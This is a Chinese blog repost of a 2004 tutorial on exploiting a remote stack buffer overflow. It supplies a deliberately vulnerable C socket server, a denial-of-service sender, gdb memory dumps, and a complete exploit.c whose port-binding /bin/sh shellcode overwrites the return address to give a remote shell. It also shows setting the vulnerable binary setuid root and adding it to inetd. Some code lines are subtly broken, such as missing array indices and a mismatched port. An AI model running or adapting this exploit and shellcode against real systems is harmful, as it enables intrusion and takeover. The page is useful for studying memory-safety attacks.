`
JAVA天地
  • 浏览: 654088 次
  • 性别: Icon_minigender_1
  • 来自: 太原
文章分类
社区版块
存档分类
最新评论

怎样写远程缓冲区溢出漏洞利用程序

阅读更多
********************在红衣刺客BLOG上发现的好东西****************
Submitted by Calm on 2004, August 12, 3:21 PM. 缓冲区溢出
怎样写远程缓冲区溢出漏洞利用程序

怎样写远程缓冲区溢出漏洞利用程序
在此,我们假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来利用该漏洞,这样将能得到一个远程 shell。
一、理解有漏洞程序:
--------------------------------------- vulnerable.c ---------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}


int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}

---------------------------------------------- EOF------------------------------------------------------

下面将编译并运行该程序:
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
../vulnerable 8080 说明你能在8080端口运行该项服务
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
现在该程序监听8080端口并等待连接。
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
看来没有什么破绽,但是这时gdb会在屏幕上显示:
client from 127.0.0.1 0xbffff28c (访地址因不同机器类型而异)

二、令有漏洞程序发生缓冲区溢出

重新连上该服务,为 "My name is:..." 命令行提供超过1024个字节长的输入:
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA

连接将中断,让我们看看gdb的输出:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don’t close gdb !!
能够看出 eip 被设到了 0x41414141。0x41 代表一个"A",当我们输入1024个字节时,该程序会试图将字符串name[2048]拷入缓冲[1024]。因此,由于 name[2048] 大于1024字节,name 将会重写缓冲并重写已被存储的 eip,我们的缓冲将会是下列形式:
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
在你重写了整个返回地址后,函数将会跳转到错误的地址 0x41414141,从而产生片断错误。
现在为此程序写一个拒绝服务攻击工具:
--------------------------------- dos.c ---------------------------------------------
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)
buffer = 'A';
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
--------------------------------------------- EOF ------------------------------------------------------

三、找到返回地址:

打开gdb寻找 esp:
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---

现在我们已经知道重写了整个缓冲,让我们试试几个地址

四、exploit代码结构

1、 找到 esp,然后找一个能绑定 shell 到端口的 sehllcode.
2、创建一个大于1024字节的缓冲
2、 用 NOP 填滿整个缓冲:
memset(buffer, 0x90, 1064);
3、将 shellcode 拷入缓冲
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
4、在缓冲中消除零字节:
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
5、在缓冲未端拷贝返回地址:
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer) = RET;
// RET is the returnaddress we want to use... #define in the header
}
6、在准备好的缓冲未端加入一个 零字节:
buffer[1063] = 0x0;
现在可以把它发送给有漏洞机器了。
----------------------------------------- exploit.c ----------------------------------
/* Simple remote exploit, which binds a shell on port 3789
* by triton
*
* After return address was overwritten, you can connect
* with telnet or netcat to the victim host on Port 3789
* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)
* So you should get an output, ok you’ve got a shell *g*. Always use:
*
* <command>;
*
* execute.
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
----------------------------------------- EOF-------------------------------------
五、使用 exploit:
user@linux~/ > gcc exploit.c -o exploit
user@linux~/ > ./exploit <host> <port>
如果你得到了正确的返回地址,它将管用。
user@linux~/ > telnet <host> 3879
id;
uid=500(user) gid=500(user) groups=500(user)
可以看出,我们成功了。

六、取得 root 权限:

user@linux~/ > su
password: ******
root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>

七、进入 inetd.conf 中定义的服务

将有漏洞程序拷入 /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
root@linux~/ > vi /etc/services
加入下面的信息:
vulnerable 1526/tcp # defining port for our server program
root@linux~/ > vi /etc/inetd.conf
加入下面的信息:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
重启 inetd:
root@linux~/ > killall -HUP inetd

八、可能出现的问题:

如果 exploit 无法使用,请考虑返回地址,用gdb进行测试:
user@linux~/ > gdb vulnerable
......
(gdb) run <port>
(c) copyright by Robin Walser irc.euirc.net #usad
分享到:
评论

相关推荐

    写远程缓冲区溢出漏洞利用程序

    怎样写远程缓冲区溢出漏洞利用程序 ? 在此,我们假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来利用该漏洞,这样将能得到一个远程 shell。

    远程溢出漏洞.txt

    远程溢出漏洞.tx

    研究论文-对 Linux系统缓冲区溢出漏洞攻击的防范.pdf

    研究论文-对 Linux系统缓冲区溢出漏洞攻击的防范

    防止缓冲区溢出攻击成为网络防护的弱点

    在过去的十年中,以缓冲区溢出为类型的安全漏洞占是最为常见的一种形式了。更为严重的是,缓冲区溢出漏洞占了远程网络攻击的...被殖入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

    一种远程缓冲区溢出漏洞检测模型及系统实现*) (2008年)

    操作系统和应用软件中的潜在远程缓冲区溢出漏洞是信息系统面临的最严重安全威胁之一。检测软件中潜在的远程缓冲区溢出漏洞对于提高信息系统安全性具有重要的意义。本文采用面向二进制代码的动态分析方法,提出了基于...

    CCProxy远程溢出漏洞分析

    CCProxy是一个国产的支持HTTP、FTP、Gopher、SOCKS4/5、Telnet、Secure(HTTPS)、News(NNTP)、 RTSP、MMS等代理协议的代理...笔者在测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码。

    利用RPC远程攻击攻击WINDOWS的源程序

    Microsoft的RPC部分在通过TCP/IP处理信息交换时存在多个远程堆缓冲区溢出问题,远程攻击者可以利用这些漏洞以本地系统权限在系统上执行任意指令。这些漏洞是由于不正确处理畸形消息所致,攻击者通过向目标发送畸形...

    uc-httpd-1.0.0-buffer-overflow-exploit:uc-httpd 1.0.0缓冲区溢出漏洞利用PoC

    uc-httpd-1.0.0-buffer-overflow-exploit [熊麦uc-httpd 1.0.0缓冲区溢出漏洞利用概念证明] 概念证明代码:0dayPoC.py CVE-2018-10088 感谢CVE分配团队为构建以下内容提供的帮助: [描述] 通过XiongMai uc-httpd ...

    RPC DCOM堆栈溢出实验

    ◆ 利用RPC DCOM堆栈缓冲区溢出漏洞,对远程目标主机执行一次实际的缓冲区溢出攻击,获取远程Shell。 ◆ 溢出成功获取远程Shell之后,验证所获得的权限。 ◆ 获取远程主机的敏感信息。 实验指导:

    缓冲区溢出实验

    1、利用RPC漏洞建立超级用户 利用工具scanms.exe文件检测RPC漏洞,利用工具软件attack.exe对172.18.25.109进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS...

    内核漏洞利用技术文章集合

    23篇内核漏洞利用技术文章集合,包括远程利用、缓冲区溢出、内核池溢出、内核通用shellcode等

    远程缓冲区溢出攻击及防护 (2010年)

    介绍了 Linux系统下缓冲区溢出的原理和 shellcode具体实现方法。阐述了远程 shellcode从 C代码到机器码的编写过程,并从成功率角度对...对缓冲区溢出常用的防护措施进行了分析,提出了 应对远程 shellcode的基本方法。

    p12419378_112010_Linux-x86-64.zip

    Oracle Database "exp.exe"参数文件远程缓冲区溢出漏洞 Oracle Database Server远程Core RDBMS漏洞(CVE-2011-0880) Oracle Database Server远程Core RDBMS漏洞(CVE-2011-0838) Oracle Database Server远程Core ...

    网络渗透技术

    2.3 Win32平台缓冲区溢出利用技术 2.3.1 Win32平台缓冲区溢出的流程 2.3.2 跳转地址 2.3.3 远程缓冲区溢出演示 2.3.4 结构化异常处理 2.3.5 Windows XP和2003下的增强异常处理 2.3.6 突破Windows 2003堆栈保护 2.4 ...

    网络安全 综合实验1 DCOM RPC

    DCOM RPC接口远程缓冲区溢出漏洞演示实验 1.按照要求完成“DCOM RPC接口远程缓冲区溢出漏洞攻击的演示实验”过程,等待老师检查通过。 2.给出预防“DCOM RPC”漏洞攻击的措施。

    Cyrus IMAP Server的四个漏洞分析

    Stefan Esser发现了Cyrus IMAP Server的四个漏洞,其中IMAPMAGICPLUS预验证远程缓冲区溢出漏洞最危险,也最容易利用。本文主要介绍对定位漏洞和触发漏洞进行分析,给出了利用程序的实现方法。

    exploits:该存储库包含公共漏洞利用列表

    以下是漏洞利用程序及其破坏的清单openfuck.c : mod_ssl / 2.8.4-mod_ssl 2.8.7及更低版本容易受到远程缓冲区溢出的影响,这可能会导致远程外壳程序。 这将允许获得外壳。 参考: : name= ptrace-kmod.c :ptrace ...

    Linux网络安全之经验谈

    更为严重的是,缓冲区溢出漏洞占了远程网络攻击的绝大多数,这种攻击可以轻易使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!为了防止此类攻击,我们从安装系统时就应该注意。

    《暗战亮剑-软件漏洞发掘与安全防范实战》┊王继刚[.PDF]

    目录: 第1章 无法摆脱的漏洞1.1 软件漏洞的概念1.2 软件漏洞的分类1.2.1 缓冲区溢出漏洞1.2.2 整数溢出漏洞1.2.3 格式化字符串漏洞1.2.4 指针覆盖漏洞1.2.5 SQL注入漏洞1.2.6 Bypass漏洞1.2.7 信息泄露漏洞1.2.8 ...

    C语言实战105例源码

    实例50 远程缓冲区溢出漏洞利用程序 144 实例51 简易漏洞扫描器 146 实例52 文件病毒检测程序 149 实例53 监测内存泄露与溢出 150 实例54 实现traceroute命令 152 实例55 实现ping程序功能 154 实例56 ...

Global site tag (gtag.js) - Google Analytics